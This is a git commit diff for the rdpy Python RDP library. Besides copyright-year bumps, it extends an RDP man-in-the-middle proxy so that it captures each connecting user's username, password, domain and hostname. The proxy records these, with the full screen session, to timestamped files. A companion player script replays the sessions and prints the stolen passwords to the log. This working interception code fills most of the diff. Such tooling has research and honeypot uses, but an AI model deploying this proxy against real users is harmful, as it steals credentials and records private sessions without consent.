update license + rsr reader and writer

This commit is contained in:
speyrefitte
2015-01-09 18:07:06 +01:00
parent 9a4f5f254c
commit 0686b2b677
31 changed files with 292 additions and 152 deletions

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#
@@ -20,7 +20,8 @@
"""
RDP proxy with Man in the middle capabilities
Save bitmap in file and keylogging
Save RDP events in output file in rsr file format
RSR file format can be read by rdpy-rsrplayer.py
----------------------------
Client RDP -> | ProxyServer | ProxyClient | -> Server RDP
----------------------------
@@ -40,24 +41,23 @@ class ProxyServer(rdp.RDPServerObserver):
"""
@summary: Server side of proxy
"""
def __init__(self, controller, target):
def __init__(self, controller, target, rsrRecorder):
"""
@param controller: {RDPServerController}
@param target: {tuple(ip, port)}
@param rsrRecorder: {rsr.FileRecorder} use to record session
"""
rdp.RDPServerObserver.__init__(self, controller)
self._target = target
self._client = None
self._close = False
self._rsr = rsrRecorder
def onClientReady(self, client):
def setClient(self, client):
"""
@summary: Event throw by client when it's ready
@param client: {ProxyClient}
"""
self._client = client
#need to reevaluate color depth
self._controller.setColorDepth(self._client._controller.getColorDepth())
def onReady(self):
"""
@@ -70,25 +70,21 @@ class ProxyServer(rdp.RDPServerObserver):
if self._client is None:
#try a connection
domain, username, password = self._controller.getCredentials()
self._rsr.recInfo(username, password, domain, self._controller.getHostname())
width, height = self._controller.getScreen()
self._rsr.recResize(width, height)
reactor.connectTCP(self._target[0], int(self._target[1]), ProxyClientFactory(self, width, height,
domain, username, password))
else:
#refresh client
width, height = self._controller.getScreen()
self._client._controller.sendRefreshOrder(0, 0, width, height)
def onClose(self):
"""
@summary: Call when human client close connection
@see: rdp.RDPServerObserver.onClose
"""
self._close = True
if self._client is None:
return
#close proxy client
self._client._controller.close()
def onKeyEventScancode(self, code, isPressed):
@@ -130,7 +126,7 @@ class ProxyServerFactory(rdp.ServerFactory):
"""
@summary: Factory on listening events
"""
def __init__(self, target, privateKeyFilePath = None, certificateFilePath = None):
def __init__(self, target, ouputDir, privateKeyFilePath = None, certificateFilePath = None):
"""
@param target: {tuple(ip, prt)}
@param privateKeyFilePath: {str} file contain server private key (if none -> back to standard RDP security)
@@ -138,7 +134,7 @@ class ProxyServerFactory(rdp.ServerFactory):
"""
rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath)
self._target = target
self._main = None
self._ouputDir = ouputDir
def buildObserver(self, controller, addr):
"""
@@ -147,7 +143,7 @@ class ProxyServerFactory(rdp.ServerFactory):
@see: rdp.ServerFactory.buildObserver
"""
#first build main session
return ProxyServer(controller, self._target)
return ProxyServer(controller, self._target, rsr.createRecorder(os.path.join(self._ouputDir, "%s_%s.rsr"%(time.strftime('%Y%m%d%H%M%S'), addr.host))))
class ProxyClient(rdp.RDPClientObserver):
"""
@@ -160,8 +156,6 @@ class ProxyClient(rdp.RDPClientObserver):
"""
rdp.RDPClientObserver.__init__(self, controller)
self._server = server
self._connected = False
self._rsr = rsr.createRecorder("/tmp/toto")
def onReady(self):
"""
@@ -169,15 +163,9 @@ class ProxyClient(rdp.RDPClientObserver):
Inform ProxyServer that i'm connected
@see: rdp.RDPClientObserver.onReady
"""
#prevent multiple on ready event
#because each deactive-reactive sequence
#launch an onReady message
if self._connected:
return
else:
self._connected = True
self._server.onClientReady(self)
self._server.setClient(self)
#maybe color depth change
self._server._controller.setColorDepth(self._controller.getColorDepth())
def onClose(self):
"""
@@ -189,28 +177,18 @@ class ProxyClient(rdp.RDPClientObserver):
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
"""
@summary: Event use to inform bitmap update
@param destLeft: xmin position
@param destTop: ymin position
@param destRight: xmax position because RDP can send bitmap with padding
@param destBottom: ymax position because RDP can send bitmap with padding
@param width: width of bitmap
@param height: height of bitmap
@param bitsPerPixel: number of bit per pixel
@param isCompress: use RLE compression
@param data: bitmap data
@param destLeft: {int} xmin position
@param destTop: {int} ymin position
@param destRight: {int} xmax position because RDP can send bitmap with padding
@param destBottom: {int} ymax position because RDP can send bitmap with padding
@param width: {int} width of bitmap
@param height: {int} height of bitmap
@param bitsPerPixel: {int} number of bit per pixel
@param isCompress: {bool} use RLE compression
@param data: {str} bitmap data
@see: rdp.RDPClientObserver.onUpdate
"""
e = rsr.UpdateEvent()
e.destLeft.value = destLeft
e.destTop.value = destTop
e.destRight.value = destRight
e.destBottom.value = destBottom
e.width.value = width
e.height.value = height
e.bpp.value = bitsPerPixel
e.format.value = rsr.UpdateFormat.BMP if isCompress else rsr.UpdateFormat.RAW
e.data.value = data
self._rsr.add(e)
self._server._rsr.recUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, rsr.UpdateFormat.BMP if isCompress else rsr.UpdateFormat.RAW, data)
self._server._controller.sendUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data)
class ProxyClientFactory(rdp.ClientFactory):
@@ -250,13 +228,13 @@ class ProxyClientFactory(rdp.ClientFactory):
controller.setPassword(self._password)
controller.setSecurityLevel(self._security)
controller.setPerformanceSession()
return ProxyClient(controller, self._server)
return ProxyClient(controller, self._server)
def help():
"""
@summary: Print help in console
"""
print "Usage: rdpy-rdpshare.py [-l listen_port default 3389] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] [-i admin_ip[:admin_port]] target"
print "Usage: rdpy-rdpmitm.py -o output_directory [-l listen_port default 3389] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] target"
def parseIpPort(interface, defaultPort = "3389"):
if ':' in interface:
@@ -268,9 +246,10 @@ if __name__ == '__main__':
listen = "3389"
privateKeyFilePath = None
certificateFilePath = None
ouputDirectory = None
try:
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:")
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:o:")
except getopt.GetoptError:
help()
for opt, arg in opts:
@@ -283,6 +262,13 @@ if __name__ == '__main__':
privateKeyFilePath = arg
elif opt == "-c":
certificateFilePath = arg
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), privateKeyFilePath, certificateFilePath))
elif opt == "-o":
ouputDirectory = arg
if ouputDirectory is None or not os.path.dirname(ouputDirectory):
log.error("%s is an invalid output directory"%ouputDirectory)
help()
sys.exit()
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), ouputDirectory, privateKeyFilePath, certificateFilePath))
reactor.run()

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#
@@ -26,58 +26,70 @@ import sys, os, getopt, socket
from PyQt4 import QtGui, QtCore
from rdpy.core import log, rsr
from rdpy.ui.qt4 import RDPBitmapToQtImage
from rdpy.ui.qt4 import QRemoteDesktop, RDPBitmapToQtImage
log._LOG_LEVEL = log.Level.INFO
class QRsrPlayer(QtGui.QWidget):
def __init__(self):
self._refresh = []
#buffer image
self._buffer = QtGui.QImage(width, height, QtGui.QImage.Format_RGB32)
self._f = rsr.createReader("/tmp/toto")
self._nextEvent = self._f.next()
class RsrPlayerWidget(QRemoteDesktop):
"""
@summary: special rsr player widget
"""
def __init__(self, width, height):
class RsrAdaptor(object):
def sendMouseEvent(self, e, isPressed):
""" Not Handle """
def sendKeyEvent(self, e, isPressed):
""" Not Handle """
def sendWheelEvent(self, e):
""" Not Handle """
def closeEvent(self, e):
""" Not Handle """
QRemoteDesktop.__init__(self, width, height, RsrAdaptor())
def next(self):
#if self._nextEvent.type.value = rsr.EventType.UPDATE:
# self.notifyImage(self._nextEvent.event., y, RDPBitmapToQtImage(width, height, bitsPerPixel, isCompress, data), width, height)
self._nextEvent = self._f.next()
QtCore.QTimer.singleShot(0,)
def drawInfos(self, username):
drawArea = QtGui.QImage(100, 100, QtGui.QImage.Format_RGB32)
#fill with background Color
drawArea.fill(QtCore.Qt.red)
with QtGui.QPainter(drawArea) as qp:
rect = QtCore.QRect(0, 0, 100, 100)
qp.setPen(QtCore.Qt.black)
qp.setFont(QtGui.QFont('arial', 12, QtGui.QFont.Bold))
qp.drawText(rect, QtCore.Qt.AlignCenter, "username %s"%username)
self.notifyImage(0, 0, drawArea, 100, 100)
def notifyImage(self, x, y, qimage, width, height):
"""
@summary: Function call from QAdaptor
@param x: x position of new image
@param y: y position of new image
@param qimage: new QImage
"""
#save in refresh list (order is important)
self._refresh.append((x, y, qimage, width, height))
#force update
self.update()
def paintEvent(self, e):
"""
@summary: Call when Qt renderer engine estimate that is needed
@param e: QEvent
"""
#fill buffer image
with QtGui.QPainter(self._buffer) as qp:
#draw image
for (x, y, image, width, height) in self._refresh:
qp.drawImage(x, y, image, 0, 0, width, height)
#draw in widget
with QtGui.QPainter(self) as qp:
qp.drawImage(0, 0, self._buffer)
self._refresh = []
def help():
print "Usage: rdpy-rsrplayer [options] ip[:port]"
print "Usage: rdpy-rsrplayer [-h] path"
def loop(widget, rsrFile):
"""
@summary: timer function
@param widget: {QRemoteDesktop}
@param rsrFile: {rsr.FileReader}
"""
e = rsrFile.nextEvent()
if e is None:
widget.close()
return
if e.type.value == rsr.EventType.UPDATE:
image = RDPBitmapToQtImage(e.event.width.value, e.event.height.value, e.event.bpp.value, e.event.format.value == rsr.UpdateFormat.BMP, e.event.data.value);
widget.notifyImage(e.event.destLeft.value, e.event.destTop.value, image, e.event.destRight.value - e.event.destLeft.value + 1, e.event.destBottom.value - e.event.destTop.value + 1)
elif e.type.value == rsr.EventType.RESIZE:
widget.resize(e.event.width.value, e.event.height.value)
elif e.type.value == rsr.EventType.INFO:
widget.drawInfos(e.event.username)
log.info("*" * 50)
log.info("username : %s"%e.event.username.value)
log.info("password : %s"%e.event.password.value)
log.info("domain : %s"%e.event.domain.value)
log.info("hostname : %s"%e.event.hostname.value)
log.info("*" * 50)
QtCore.QTimer.singleShot(e.timestamp.value+ 1000,lambda:loop(widget, rsrFile))
if __name__ == '__main__':
#default script argument
try:
opts, args = getopt.getopt(sys.argv[1:], "h")
except getopt.GetoptError:
@@ -90,4 +102,8 @@ if __name__ == '__main__':
filepath = args[0]
#create application
app = QtGui.QApplication(sys.argv)
app.exec_()
widget = RsrPlayerWidget(800, 600)
widget.show()
rsrFile = rsr.createReader(filepath)
loop(widget, rsrFile)
sys.exit(app.exec_())

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#